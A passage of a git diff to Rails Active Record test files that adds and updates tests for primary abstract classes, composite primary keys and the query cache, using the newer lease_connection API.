+    Object.const_set(:ApplicationRecord, ApplicationRecord)
+
+    assert_predicate ApplicationRecord, :primary_class?
+    assert_predicate ApplicationRecord, :application_record_class?
+    assert_predicate ApplicationRecord, :abstract_class?
+  ensure
+    ActiveRecord.application_record_class = nil
+    Object.send(:remove_const, :ApplicationRecord)
+  end
+
+  def test_primary_class_and_primary_abstract_class_behavior
+    PrimaryClassTest::PrimaryAppRecord.primary_abstract_class
+
+    assert_predicate PrimaryClassTest::PrimaryAppRecord, :primary_class?
+    assert_predicate PrimaryClassTest::PrimaryAppRecord, :application_record_class?
+    assert_predicate PrimaryClassTest::PrimaryAppRecord, :abstract_class?
+
+    assert_not_predicate AnotherAppRecord, :primary_class?
+    assert_not_predicate AnotherAppRecord, :application_record_class?
+    assert_predicate AnotherAppRecord, :abstract_class?
+
+    assert_predicate ActiveRecord::Base, :primary_class?
+    assert_not_predicate ActiveRecord::Base, :application_record_class?
+    assert_not_predicate ActiveRecord::Base, :abstract_class?
+  ensure
+    ActiveRecord.application_record_class = nil
+  end
+
+  def test_primary_abstract_class_cannot_be_reset
+    PrimaryClassTest::PrimaryAppRecord.primary_abstract_class
+
+    assert_raises do
+      PrimaryClassTest::AnotherAppRecord.primary_abstract_class
+    end
+  ensure
+    ActiveRecord.application_record_class = nil
+  end
+
+  def test_primary_abstract_class_is_used_over_application_record_if_set
+    PrimaryClassTest::PrimaryAppRecord.primary_abstract_class
+    Object.const_set(:ApplicationRecord, ApplicationRecord)
+
+    assert_predicate PrimaryClassTest::PrimaryAppRecord, :primary_class?
+    assert_predicate PrimaryClassTest::PrimaryAppRecord, :application_record_class?
+    assert_predicate PrimaryClassTest::PrimaryAppRecord, :abstract_class?
+
+    assert_not_predicate ApplicationRecord, :primary_class?
+    assert_not_predicate ApplicationRecord, :application_record_class?
+    assert_predicate ApplicationRecord, :abstract_class?
+
+    assert_predicate ActiveRecord::Base, :primary_class?
+    assert_not_predicate ActiveRecord::Base, :application_record_class?
+    assert_not_predicate ActiveRecord::Base, :abstract_class?
+  ensure
+    ActiveRecord.application_record_class = nil
+    Object.send(:remove_const, :ApplicationRecord)
+  end
+
+  def test_setting_primary_abstract_class_explicitly_wins_over_application_record_set_implicitly
+    Object.const_set(:ApplicationRecord, ApplicationRecord)
+
+    assert_predicate ApplicationRecord, :primary_class?
+    assert_predicate ApplicationRecord, :application_record_class?
+    assert_predicate ApplicationRecord, :abstract_class?
+
+    PrimaryClassTest::PrimaryAppRecord.primary_abstract_class
+
+    assert_predicate PrimaryClassTest::PrimaryAppRecord, :primary_class?
+    assert_predicate PrimaryClassTest::PrimaryAppRecord, :application_record_class?
+    assert_predicate PrimaryClassTest::PrimaryAppRecord, :abstract_class?
+
+    assert_not_predicate ApplicationRecord, :primary_class?
+    assert_not_predicate ApplicationRecord, :application_record_class?
+    assert_predicate ApplicationRecord, :abstract_class?
+  ensure
+    ActiveRecord.application_record_class = nil
+    Object.send(:remove_const, :ApplicationRecord)
+  end
+
+  unless in_memory_db?
+    def test_application_record_shares_a_connection_with_active_record_by_default
+      Object.const_set(:ApplicationRecord, ApplicationRecord)
+
+      ApplicationRecord.connects_to(database: { writing: :arunit, reading: :arunit })
+
+      assert_predicate ApplicationRecord, :primary_class?
+      assert_predicate ApplicationRecord, :application_record_class?
+      assert_equal ActiveRecord::Base.lease_connection, ApplicationRecord.lease_connection
+    ensure
+      ApplicationRecord.remove_connection
+      ActiveRecord.application_record_class = nil
+      Object.send(:remove_const, :ApplicationRecord)
+      ActiveRecord::Base.establish_connection :arunit
+    end
+
+    def test_application_record_shares_a_connection_with_the_primary_abstract_class_if_set
+      PrimaryClassTest::PrimaryAppRecord.primary_abstract_class
+
+      PrimaryClassTest::PrimaryAppRecord.connects_to(database: { writing: :arunit, reading: :arunit })
+
+      assert_predicate PrimaryClassTest::PrimaryAppRecord, :primary_class?
+      assert_predicate PrimaryClassTest::PrimaryAppRecord, :application_record_class?
+      assert_predicate PrimaryClassTest::PrimaryAppRecord, :abstract_class?
+      assert_equal ActiveRecord::Base.lease_connection, PrimaryClassTest::PrimaryAppRecord.lease_connection
+    ensure
+      PrimaryClassTest::PrimaryAppRecord.remove_connection
+      ActiveRecord.application_record_class = nil
+      ActiveRecord::Base.establish_connection :arunit
+    end
+  end
+end
diff --git a/activerecord/test/cases/primary_keys_test.rb b/activerecord/test/cases/primary_keys_test.rb
index 98b9c91489c4c..d04b938e9f003 100644
--- a/activerecord/test/cases/primary_keys_test.rb
+++ b/activerecord/test/cases/primary_keys_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "support/schema_dumping_helper"
 require "models/topic"
@@ -8,6 +10,7 @@
 require "models/mixed_case_monkey"
 require "models/dashboard"
 require "models/non_primary_key"
+require "models/cpk"
 
 class PrimaryKeysTest < ActiveRecord::TestCase
   fixtures :topics, :subscribers, :movies, :mixed_case_monkeys
@@ -26,9 +29,36 @@ def test_to_key_with_customized_primary_key
     assert_equal keyboard.to_key, [keyboard.id]
   end
 
-  def test_read_attribute_with_custom_primary_key
+  def test_to_key_with_composite_primary_key
+    order = Cpk::Order.new
+    assert_equal [nil, nil], order.to_key
+    order.id = [1, 2]
+    assert_equal [1, 2], order.to_key
+  end
+
+  def test_read_attribute_id
+    topic = Topic.find(1)
+    id = assert_not_deprecated(ActiveRecord.deprecator) do
+      topic.read_attribute(:id)
+    end
+
+    assert_equal 1, id
+  end
+
+  def test_read_attribute_with_custom_primary_key_does_not_return_it_when_reading_the_id_attribute
     keyboard = Keyboard.create!
-    assert_equal keyboard.key_number, keyboard.read_attribute(:id)
+    id = keyboard.read_attribute(:id)
+
+    assert_nil id
+  end
+
+  def test_read_attribute_with_composite_primary_key
+    book = Cpk::Book.new(id: [1, 2])
+    id = assert_not_deprecated(ActiveRecord.deprecator) do
+      book.read_attribute(:id)
+    end
+
+    assert_equal 2, id
   end
 
   def test_to_key_with_primary_key_after_destroy
@@ -37,6 +67,24 @@ def test_to_key_with_primary_key_after_destroy
     assert_equal [1], topic.to_key
   end
 
+  def test_id_was
+    topic = Topic.find(1)
+    assert_equal 1, topic.id
+
+    topic.id = 3
+
+    assert_equal 1, topic.id_was
+    assert_equal 3, topic.id
+  end
+
+  def test_id?
+    topic = Topic.find(1)
+
+    assert_changes("topic.id?", from: true, to: false) do
+      topic.id = nil
+    end
+  end
+
   def test_integer_key
     topic = Topic.find(1)
     assert_equal(topics(:first).author_name, topic.author_name)
@@ -46,7 +94,7 @@ def test_integer_key
     topic = Topic.new
     topic.title = "New Topic"
     assert_nil topic.id
-    assert_nothing_raised { topic.save! }
+    topic.save!
     id = topic.id
 
     topicReloaded = Topic.find(id)
@@ -56,23 +104,36 @@ def test_integer_key
   def test_customized_primary_key_auto_assigns_on_save
     Keyboard.delete_all
     keyboard = Keyboard.new(name: "HHKB")
-    assert_nothing_raised { keyboard.save! }
+    keyboard.save!
     assert_equal keyboard.id, Keyboard.find_by_name("HHKB").id
   end
 
   def test_customized_primary_key_can_be_get_before_saving
     keyboard = Keyboard.new
     assert_nil keyboard.id
-    assert_nothing_raised { assert_nil keyboard.key_number }
+    assert_nil keyboard.key_number
   end
 
   def test_customized_string_primary_key_settable_before_save
     subscriber = Subscriber.new
-    assert_nothing_raised { subscriber.id = "webster123" }
+    subscriber.id = "webster123"
     assert_equal "webster123", subscriber.id
     assert_equal "webster123", subscriber.nick
   end
 
+  def test_update_with_non_primary_key_id_column
+    subscriber = Subscriber.first
+    subscriber.update(update_count: 1)
+    subscriber.reload
+    assert_equal 1, subscriber.update_count
+  end
+
+  def test_update_columns_with_non_primary_key_id_column
+    subscriber = Subscriber.first
+    subscriber.update_columns(id: 1)
+    assert_not_equal 1, subscriber.nick
+  end
+
   def test_string_key
     subscriber = Subscriber.find(subscribers(:first).nick)
     assert_equal(subscribers(:first).name, subscriber.name)
@@ -83,7 +144,7 @@ def test_string_key
     subscriber.id = "jdoe"
     assert_equal("jdoe", subscriber.id)
     subscriber.name = "John Doe"
-    assert_nothing_raised { subscriber.save! }
+    subscriber.save!
     assert_equal("jdoe", subscriber.id)
 
     subscriberReloaded = Subscriber.find("jdoe")
@@ -141,10 +202,6 @@ def test_instance_destroy_should_quote_pkey
     assert_nothing_raised { MixedCaseMonkey.find(1).destroy }
   end
 
-  def test_deprecate_supports_primary_key
-    assert_deprecated { ActiveRecord::Base.connection.supports_primary_key? }
-  end
-
   def test_primary_key_returns_value_if_it_exists
     klass = Class.new(ActiveRecord::Base) do
       self.table_name = "developers"
@@ -163,9 +220,10 @@ def test_primary_key_returns_nil_if_it_does_not_exist
 
   def test_quoted_primary_key_after_set_primary_key
     k = Class.new(ActiveRecord::Base)
-    assert_equal k.connection.quote_column_name("id"), k.quoted_primary_key
+    k.table_name = "bar"
+    assert_equal k.lease_connection.quote_column_name("id"), k.quoted_primary_key
     k.primary_key = "foo"
-    assert_equal k.connection.quote_column_name("foo"), k.quoted_primary_key
+    assert_equal k.lease_connection.quote_column_name("foo"), k.quoted_primary_key
   end
 
   def test_auto_detect_primary_key_from_schema
@@ -187,39 +245,50 @@ def test_create_without_primary_key_no_extra_query
       self.table_name = "dashboards"
     end
     klass.create! # warmup schema cache
-    assert_queries(3, ignore_none: true) { klass.create! }
+    assert_queries_count(3, include_schema: true) { klass.create! }
   end
 
-  if current_adapter?(:PostgreSQLAdapter)
-    def test_serial_with_quoted_sequence_name
-      column = MixedCaseMonkey.columns_hash[MixedCaseMonkey.primary_key]
-      assert_equal "nextval('\"mixed_case_monkeys_monkeyID_seq\"'::regclass)", column.default_function
-      assert column.serial?
+  def test_assign_id_raises_error_if_primary_key_doesnt_exist
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "dashboards"
     end
+    dashboard = klass.new
+    assert_raises(ActiveModel::MissingAttributeError) { dashboard.id = "1" }
+  end
 
-    def test_serial_with_unquoted_sequence_name
-      column = Topic.columns_hash[Topic.primary_key]
-      assert_equal "nextval('topics_id_seq'::regclass)", column.default_function
-      assert column.serial?
+  def test_reconfiguring_primary_key_resets_composite_primary_key
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "cpk_books"
     end
-  end
-end
 
-class PrimaryKeyWithNoConnectionTest < ActiveRecord::TestCase
-  self.use_transactional_tests = false
+    assert_predicate klass, :composite_primary_key?
+
+    klass.primary_key = :id
+    assert_not_predicate klass, :composite_primary_key?
+  end
 
-  unless in_memory_db?
-    def test_set_primary_key_with_no_connection
-      connection = ActiveRecord::Base.remove_connection
+  def composite_primary_key_is_false_for_a_non_cpk_model
+    assert_not_predicate Dashboard, :composite_primary_key?
+  end
 
-      model = Class.new(ActiveRecord::Base)
-      model.primary_key = "foo"
+  def test_primary_key_values_present
+    assert_predicate Topic.new(id: 1), :primary_key_values_present?
 
-      assert_equal "foo", model.primary_key
+    assert_not_predicate Topic.new, :primary_key_values_present?
+    assert_not_predicate Topic.new(title: "Topic A"), :primary_key_values_present?
+  end
 
-      ActiveRecord::Base.establish_connection(connection)
+  if current_adapter?(:PostgreSQLAdapter)
+    def test_serial_with_quoted_sequence_name
+      column = MixedCaseMonkey.columns_hash[MixedCaseMonkey.primary_key]
+      assert_equal "nextval('\"mixed_case_monkeys_monkeyID_seq\"'::regclass)", column.default_function
+      assert_predicate column, :serial?
+    end
 
-      assert_equal "foo", model.primary_key
+    def test_serial_with_unquoted_sequence_name
+      column = Topic.columns_hash[Topic.primary_key]
+      assert_equal "nextval('topics_id_seq'::regclass)", column.default_function
+      assert_predicate column, :serial?
     end
   end
 end
@@ -231,20 +300,20 @@ class AutoIncrement < ActiveRecord::Base
   end
 
   def setup
-    @connection = ActiveRecord::Base.connection
+    @connection = ActiveRecord::Base.lease_connection
   end
 
   def teardown
     @connection.drop_table(:auto_increments, if_exists: true)
   end
 
-  def test_primary_key_with_auto_increment
-    @connection.create_table(:auto_increments, id: :integer, auto_increment: true, force: true)
+  def test_primary_key_with_integer
+    @connection.create_table(:auto_increments, id: :integer, force: true)
     assert_auto_incremented
   end
 
-  def test_primary_key_with_auto_increment_and_bigint
-    @connection.create_table(:auto_increments, id: :bigint, auto_increment: true, force: true)
+  def test_primary_key_with_bigint
+    @connection.create_table(:auto_increments, id: :bigint, force: true)
     assert_auto_incremented
   end
 
@@ -264,13 +333,11 @@ def assert_auto_incremented
 class PrimaryKeyAnyTypeTest < ActiveRecord::TestCase
   include SchemaDumpingHelper
 
-  self.use_transactional_tests = false
-
   class Barcode < ActiveRecord::Base
   end
 
   setup do
-    @connection = ActiveRecord::Base.connection
+    @connection = ActiveRecord::Base.lease_connection
     @connection.create_table(:barcodes, primary_key: "code", id: :string, limit: 42, force: true)
   end
 
@@ -285,11 +352,22 @@ def test_any_type_primary_key
     assert_not column.null
     assert_equal :string, column.type
     assert_equal 42, column.limit
+  ensure
+    Barcode.reset_column_information
   end
 
   test "schema dump primary key includes type and options" do
     schema = dump_table_schema "barcodes"
-    assert_match %r{create_table "barcodes", primary_key: "code", id: :string, limit: 42}, schema
+    assert_match %r/create_table "barcodes", primary_key: "code", id: { type: :string, limit: 42 }/, schema
+    assert_no_match %r{t\.index \["code"\]}, schema
+  end
+
+  if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+    test "schema typed primary key column" do
+      @connection.create_table(:scheduled_logs, id: :timestamp, precision: 6, force: true)
+      schema = dump_table_schema("scheduled_logs")
+      assert_match %r/create_table "scheduled_logs", id: :timestamp.*/, schema
+    end
   end
 end
 
@@ -298,10 +376,12 @@ class CompositePrimaryKeyTest < ActiveRecord::TestCase
 
   self.use_transactional_tests = false
 
+  fixtures :cpk_books, :cpk_orders
+
   def setup
-    @connection = ActiveRecord::Base.connection
-    @connection.schema_cache.clear!
-    @connection.create_table(:barcodes, primary_key: ["region", "code"], force: true) do |t|
+    ActiveRecord::Base.schema_cache.clear!
+    @connection = ActiveRecord::Base.lease_connection
+    @connection.create_table(:uber_barcodes, primary_key: ["region", "code"], force: true) do |t|
       t.string :region
       t.integer :code
     end
@@ -309,52 +389,127 @@ def setup
       t.string :region
       t.integer :code
     end
+    @connection.create_table(:travels, primary_key: ["from", "to"], force: true) do |t|
+      t.string :from
+      t.string :to
+    end
   end
 
   def teardown
-    @connection.drop_table(:barcodes, if_exists: true)
+    @connection.drop_table :uber_barcodes, if_exists: true
+    @connection.drop_table :barcodes_reverse, if_exists: true
+    @connection.drop_table :travels, if_exists: true
   end
 
   def test_composite_primary_key
-    assert_equal ["region", "code"], @connection.primary_keys("barcodes")
+    assert_equal ["region", "code"], @connection.primary_keys("uber_barcodes")
+  end
+
+  def test_composite_primary_key_with_reserved_words
+    assert_equal ["from", "to"], @connection.primary_keys("travels")
   end
 
   def test_composite_primary_key_out_of_order
-    skip if current_adapter?(:SQLite3Adapter)
     assert_equal ["code", "region"], @connection.primary_keys("barcodes_reverse")
   end
 
-  def test_primary_key_issues_warning
+  def test_assigning_a_composite_primary_key
+    book = Cpk::Book.new
+    book.id = [1, 2]
+    book.save!
+
+    assert_equal [1, 2], book.id
+  ensure
+    Cpk::Book.delete_all
+  end
+
+  def test_assigning_a_non_array_value_to_model_with_composite_primary_key_raises
+    book = Cpk::Book.new
+
+    error = assert_raises(TypeError) do
+      book.id = 1
+    end
+
+    assert_equal("Expected value matching [\"author_id\", \"id\"], got 1.", error.message)
+  end
+
+  def test_id_was_composite
+    book = cpk_books(:cpk_great_author_first_book)
+    book_id = book.id
+
+    assert_not_equal [42, 42], book_id
+
+    book.id = [42, 42]
+
+    assert_equal book_id, book.id_was
+    assert_equal [42, 42], book.id
+  end
+
+  def test_id_predicate_composite
+    book = cpk_books(:cpk_great_author_first_book)
+
+    valid_id = [42, 42]
+
+    invalid_ids = [
+      [42, nil],
+      [nil, 42],
+      [nil, nil],
+    ]
+
+    invalid_ids.each do |invalid_id|
+      book.id = valid_id
+
+      assert_changes("book.id?", from: true, to: false) do
+        book.id = invalid_id
+      end
+    end
+  end
+
+  def test_derives_composite_primary_key
     model = Class.new(ActiveRecord::Base) do
       def self.table_name
-        "barcodes"
+        "uber_barcodes"
       end
     end
-    warning = capture(:stderr) do
-      assert_nil model.primary_key
-    end
-    assert_match(/WARNING: Active Record does not support composite primary key\./, warning)
+
+    assert_equal ["region", "code"], model.primary_key
   end
 
-  def test_dumping_composite_primary_key
-    schema = dump_table_schema "barcodes"
-    assert_match %r{create_table "barcodes", primary_key: \["region", "code"\]}, schema
+  def test_collectly_dump_composite_primary_key
+    schema = dump_table_schema "uber_barcodes"
+    assert_match %r{create_table "uber_barcodes", primary_key: \["region", "code"\]}, schema
   end
 
   def test_dumping_composite_primary_key_out_of_order
-    skip if current_adapter?(:SQLite3Adapter)
     schema = dump_table_schema "barcodes_reverse"
     assert_match %r{create_table "barcodes_reverse", primary_key: \["code", "region"\]}, schema
   end
+
+  def test_model_with_a_composite_primary_key
+    assert_equal(["author_id", "id"], Cpk::Book.primary_key)
+    assert_equal(["shop_id", "id"], Cpk::Order.primary_key)
+  end
+
+  def composite_primary_key_is_true_for_a_cpk_model
+    assert_predicate Cpk::Book, :composite_primary_key?
+  end
+
+  def test_primary_key_values_present_for_a_composite_pk_model
+    assert_predicate Cpk::Book.new(id: [1, 1]), :primary_key_values_present?
+
+    assert_not_predicate Cpk::Book.new, :primary_key_values_present?
+    assert_not_predicate Cpk::Book.new(author_id: 1), :primary_key_values_present?
+    assert_not_predicate Cpk::Book.new(id: [nil, 1]), :primary_key_values_present?
+    assert_not_predicate Cpk::Book.new(title: "Book A"), :primary_key_values_present?
+    assert_not_predicate Cpk::Book.new(author_id: 1, title: "Book A"), :primary_key_values_present?
+  end
 end
 
 class PrimaryKeyIntegerNilDefaultTest < ActiveRecord::TestCase
   include SchemaDumpingHelper
 
-  self.use_transactional_tests = false
-
   def setup
-    @connection = ActiveRecord::Base.connection
+    @connection = ActiveRecord::Base.lease_connection
   end
 
   def teardown
@@ -375,8 +530,8 @@ def test_schema_dump_primary_key_bigint_with_default_nil
   end
 end
 
-if current_adapter?(:PostgreSQLAdapter, :Mysql2Adapter)
-  class PrimaryKeyIntegerTest < ActiveRecord::TestCase
+class PrimaryKeyIntegerTest < ActiveRecord::TestCase
+  if current_adapter?(:PostgreSQLAdapter, :Mysql2Adapter, :TrilogyAdapter)
     include SchemaDumpingHelper
 
     self.use_transactional_tests = false
@@ -385,7 +540,7 @@ class Widget < ActiveRecord::Base
     end
 
     setup do
-      @connection = ActiveRecord::Base.connection
+      @connection = ActiveRecord::Base.lease_connection
       @pk_type = current_adapter?(:PostgreSQLAdapter) ? :serial : :integer
     end
 
@@ -397,7 +552,7 @@ class Widget < ActiveRecord::Base
       @connection.create_table(:widgets, id: @pk_type, force: true)
       column = @connection.columns(:widgets).find { |c| c.name == "id" }
       assert_equal :integer, column.type
-      assert_not column.bigint?
+      assert_not_predicate column, :bigint?
     end
 
     test "primary key with serial/integer are automatically numbered" do
@@ -409,32 +564,32 @@ class Widget < ActiveRecord::Base
     test "schema dump primary key with serial/integer" do
       @connection.create_table(:widgets, id: @pk_type, force: true)
       schema = dump_table_schema "widgets"
-      assert_match %r{create_table "widgets", id: :#{@pk_type}, force: :cascade}, schema
+      assert_match %r{create_table "widgets", id: :#{@pk_type}, }, schema
     end
 
-    if current_adapter?(:Mysql2Adapter)
+    if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
       test "primary key column type with options" do
         @connection.create_table(:widgets, id: :primary_key, limit: 4, unsigned: true, force: true)
         column = @connection.columns(:widgets).find { |c| c.name == "id" }
-        assert column.auto_increment?
+        assert_predicate column, :auto_increment?
         assert_equal :integer, column.type
-        assert_not column.bigint?
-        assert column.unsigned?
+        assert_not_predicate column, :bigint?
+        assert_predicate column, :unsigned?
 
         schema = dump_table_schema "widgets"
-        assert_match %r{create_table "widgets", id: :integer, unsigned: true, force: :cascade}, schema
+        assert_match %r/create_table "widgets", id: { type: :integer, unsigned: true }/, schema
       end
 
       test "bigint primary key with unsigned" do
         @connection.create_table(:widgets, id: :bigint, unsigned: true, force: true)
         column = @connection.columns(:widgets).find { |c| c.name == "id" }
-        assert column.auto_increment?
+        assert_predicate column, :auto_increment?
         assert_equal :integer, column.type
-        assert column.bigint?
-        assert column.unsigned?
+        assert_predicate column, :bigint?
+        assert_predicate column, :unsigned?
 
         schema = dump_table_schema "widgets"
-        assert_match %r{create_table "widgets", id: :bigint, unsigned: true, force: :cascade}, schema
+        assert_match %r/create_table "widgets", id: { type: :bigint, unsigned: true }/, schema
       end
     end
   end
diff --git a/activerecord/test/cases/query_cache_test.rb b/activerecord/test/cases/query_cache_test.rb
index d8cf2350005ed..f221fe066b1e0 100644
--- a/activerecord/test/cases/query_cache_test.rb
+++ b/activerecord/test/cases/query_cache_test.rb
@@ -1,22 +1,24 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/topic"
 require "models/task"
 require "models/category"
 require "models/post"
-require "rack"
 
 class QueryCacheTest < ActiveRecord::TestCase
   self.use_transactional_tests = false
 
   fixtures :tasks, :topics, :categories, :posts, :categories_posts
 
-  class ShouldNotHaveExceptionsLogger < ActiveRecord::LogSubscriber
-    attr_reader :logger
+  class ShouldNotHaveExceptionsLogger < ActiveRecord::StructuredEventSubscriber
+    attr_reader :logger, :events
 
     def initialize
       super
       @logger = ::Logger.new File::NULL
       @exception = false
+      @events = []
     end
 
     def exception?
@@ -24,6 +26,7 @@ def exception?
     end
 
     def sql(event)
+      @events << event
       super
     rescue
       @exception = true
@@ -31,18 +34,88 @@ def sql(event)
   end
 
   def teardown
-    Task.connection.clear_query_cache
-    ActiveRecord::Base.connection.disable_query_cache!
+    Task.connection_pool.clear_query_cache
+    ActiveRecord::Base.connection_pool.disable_query_cache!
     super
   end
 
+  def test_execute_clear_cache
+    assert_cache :off
+
+    mw = middleware { |env|
+      Post.first
+      query_cache = ActiveRecord::Base.connection_pool.query_cache
+      assert_equal 1, query_cache.size, query_cache.inspect
+      Post.lease_connection.execute("SELECT 1")
+      query_cache = ActiveRecord::Base.connection_pool.query_cache
+      assert_equal 0, query_cache.size, query_cache.inspect
+    }
+    mw.call({})
+
+    assert_cache :off
+  end
+
+  def test_exec_query_clear_cache
+    assert_cache :off
+
+    mw = middleware { |env|
+      Post.first
+      query_cache = ActiveRecord::Base.connection_pool.query_cache
+      assert_equal 1, query_cache.size, query_cache.inspect
+      Post.lease_connection.exec_query("SELECT 1")
+      query_cache = ActiveRecord::Base.connection_pool.query_cache
+      assert_equal 0, query_cache.size, query_cache.inspect
+    }
+    mw.call({})
+
+    assert_cache :off
+  end
+
+  def test_writes_should_always_clear_cache
+    assert_cache :off
+
+    mw = middleware { |env|
+      Post.first
+      query_cache = ActiveRecord::Base.connection_pool.query_cache
+      assert_equal 1, query_cache.size, query_cache.inspect
+      Post.lease_connection.uncached do
+        # should clear the cache
+        Post.create!(title: "a new post", body: "and a body")
+      end
+      query_cache = ActiveRecord::Base.connection_pool.query_cache
+      assert_equal 0, query_cache.size, query_cache.inspect
+    }
+    mw.call({})
+
+    assert_cache :off
+  end
+
+  def test_reads_dont_clear_disabled_cache
+    assert_cache :off
+
+    mw = middleware { |env|
+      Post.first
+      query_cache = ActiveRecord::Base.connection_pool.query_cache
+      assert_equal 1, query_cache.size, query_cache.inspect
+      Post.lease_connection.uncached do
+        Post.count # shouldn't clear the cache
+      end
+      query_cache = ActiveRecord::Base.connection_pool.query_cache
+      assert_equal 1, query_cache.size, query_cache.inspect
+    }
+    mw.call({})
+
+    assert_cache :off
+  end
+
   def test_exceptional_middleware_clears_and_disables_cache_on_error
     assert_cache :off
 
     mw = middleware { |env|
       Task.find 1
       Task.find 1
-      assert_equal 1, ActiveRecord::Base.connection.query_cache.length
+      query_cache = ActiveRecord::Base.connection_pool.query_cache
+      assert_equal 1, query_cache.size, query_cache.inspect
       raise "lol borked"
     }
     assert_raises(RuntimeError) { mw.call({}) }
@@ -50,87 +123,221 @@ def test_exceptional_middleware_clears_and_disables_cache_on_error
     assert_cache :off
   end
 
-  private def with_temporary_connection_pool
-    old_pool = ActiveRecord::Base.connection_handler.retrieve_connection_pool(ActiveRecord::Base.connection_specification_name)
-    new_pool = ActiveRecord::ConnectionAdapters::ConnectionPool.new ActiveRecord::Base.connection_pool.spec
-    ActiveRecord::Base.connection_handler.send(:owner_to_pool)["primary"] = new_pool
+  def test_query_cache_is_applied_to_all_connections
+    ActiveRecord::Base.connected_to(role: :reading) do
+      db_config = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary")
+      ActiveRecord::Base.establish_connection(db_config)
+    end
+
+    mw = middleware { |env|
+      ActiveRecord::Base.connection_handler.connection_pool_list(:all).each do |pool|
+        assert_predicate pool.lease_connection, :query_cache_enabled
+      end
+    }
+
+    mw.call({})
+  ensure
+    clean_up_connection_handler
+  end
+
+  def test_cache_is_not_applied_when_config_is_false
+    ActiveRecord::Base.connected_to(role: :reading) do
+      db_config = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary")
+      ActiveRecord::Base.establish_connection(db_config.configuration_hash.merge(query_cache: false))
+    end
 
-    yield
+    mw = middleware do |env|
+      ActiveRecord::Base.connected_to(role: :reading) do
+        assert_cache :off
+        assert_nil ActiveRecord::Base.lease_connection.pool.query_cache.instance_variable_get(:@max_size)
+      end
+    end
+
+    mw.call({})
   ensure
-    ActiveRecord::Base.connection_handler.send(:owner_to_pool)["primary"] = old_pool
+    clean_up_connection_handler
+  end
+
+  def test_cache_is_applied_when_config_is_string
+    ActiveRecord::Base.connected_to(role: :reading) do
+      db_config = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary")
+      ActiveRecord::Base.establish_connection(db_config.configuration_hash.merge(query_cache: "unlimited"))
+    end
+
+    mw = middleware do |env|
+      ActiveRecord::Base.connected_to(role: :reading) do
+        assert_cache :clean
+        assert_nil ActiveRecord::Base.lease_connection.pool.query_cache.instance_variable_get(:@max_size)
+      end
+    end
+
+    mw.call({})
+  ensure
+    clean_up_connection_handler
+  end
+
+  def test_cache_is_applied_when_config_is_integer
+    ActiveRecord::Base.connected_to(role: :reading) do
+      db_config = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary")
+      ActiveRecord::Base.establish_connection(db_config.configuration_hash.merge(query_cache: 42))
+    end
+
+    mw = middleware do |env|
+      ActiveRecord::Base.connected_to(role: :reading) do
+        assert_cache :clean
+        assert_equal 42, ActiveRecord::Base.lease_connection.pool.query_cache.instance_variable_get(:@max_size)
+      end
+    end
+
+    mw.call({})
+  ensure
+    clean_up_connection_handler
+  end
+
+  def test_cache_is_applied_when_config_is_nil
+    ActiveRecord::Base.connected_to(role: :reading) do
+      db_config = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary")
+      ActiveRecord::Base.establish_connection(db_config.configuration_hash.merge(query_cache: nil))
+    end
+
+    mw = middleware do |env|
+      ActiveRecord::Base.connected_to(role: :reading) do
+        assert_cache :clean
+        assert_equal ActiveRecord::ConnectionAdapters::QueryCache::DEFAULT_SIZE, ActiveRecord::Base.lease_connection.pool.query_cache.instance_variable_get(:@max_size)
+      end
+    end
+
+    mw.call({})
+  ensure
+    clean_up_connection_handler
+  end
+
+  if Process.respond_to?(:fork) && !in_memory_db?
+    def test_query_cache_with_forked_processes
+      ActiveRecord::Base.connected_to(role: :reading) do
+        db_config = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary")
+        ActiveRecord::Base.establish_connection(db_config)
+      end
+
+      rd, wr = IO.pipe
+      rd.binmode
+      wr.binmode
+
+      pid = fork {
+        rd.close
+        status = 0
+
+        middleware { |env|
+          begin
+            assert_cache :clean
+
+            # first request dirties cache
+            ActiveRecord::Base.connected_to(role: :reading) do
+              Post.first
+              assert_cache :dirty
+            end
+
+            # should clear the cache
+            Post.create!(title: "a new post", body: "and a body")
+
+            # fails because cache is still dirty
+            ActiveRecord::Base.connected_to(role: :reading) do
+              assert_cache :clean
+              Post.first
+            end
+
+          rescue Minitest::Assertion => e
+            wr.write Marshal.dump e
+            status = 1
+          end
+        }.call({})
+
+        wr.close
+        exit!(status)
+      }
+
+      wr.close
+
+      Process.waitpid pid
+      if !$?.success?
+        raise Marshal.load(rd.read)
+      else
+        assert_predicate $?, :success?
+      end
+
+      rd.close
+    ensure
+      clean_up_connection_handler
+    end
   end
 
   def test_query_cache_across_threads
     with_temporary_connection_pool do
-      begin
-        if in_memory_db?
-          # Separate connections to an in-memory database create an entirely new database,
-          # with an empty schema etc, so we just stub out this schema on the fly.
-          ActiveRecord::Base.connection_pool.with_connection do |connection|
-            connection.create_table :tasks do |t|
-              t.datetime :starting
-              t.datetime :ending
-            end
+      if in_memory_db?
+        # Separate connections to an in-memory database create an entirely new database,
+        # with an empty schema etc, so we just stub out this schema on the fly.
+        ActiveRecord::Base.connection_pool.with_connection do |connection|
+          connection.create_table :tasks do |t|
+            t.datetime :starting
+            t.datetime :ending
           end
-          ActiveRecord::FixtureSet.create_fixtures(self.class.fixture_path, ["tasks"], {}, ActiveRecord::Base)
         end
+        ActiveRecord::FixtureSet.create_fixtures(self.class.fixture_paths, ["tasks"], {}, ActiveRecord::Base)
+      end
 
-        ActiveRecord::Base.connection_pool.connections.each do |conn|
-          assert_cache :off, conn
-        end
+      ActiveRecord::Base.connection_pool.connections.each do |conn|
+        assert_cache :off, conn
+      end
 
-        assert !ActiveRecord::Base.connection.nil?
-        assert_cache :off
+      assert_not_predicate ActiveRecord::Base.lease_connection, :nil?
+      assert_cache :off
 
-        middleware {
-          assert_cache :clean
+      middleware {
+        assert_cache :clean
 
-          Task.find 1
-          assert_cache :dirty
+        Task.find 1
+        assert_cache :dirty
 
-          thread_1_connection = ActiveRecord::Base.connection
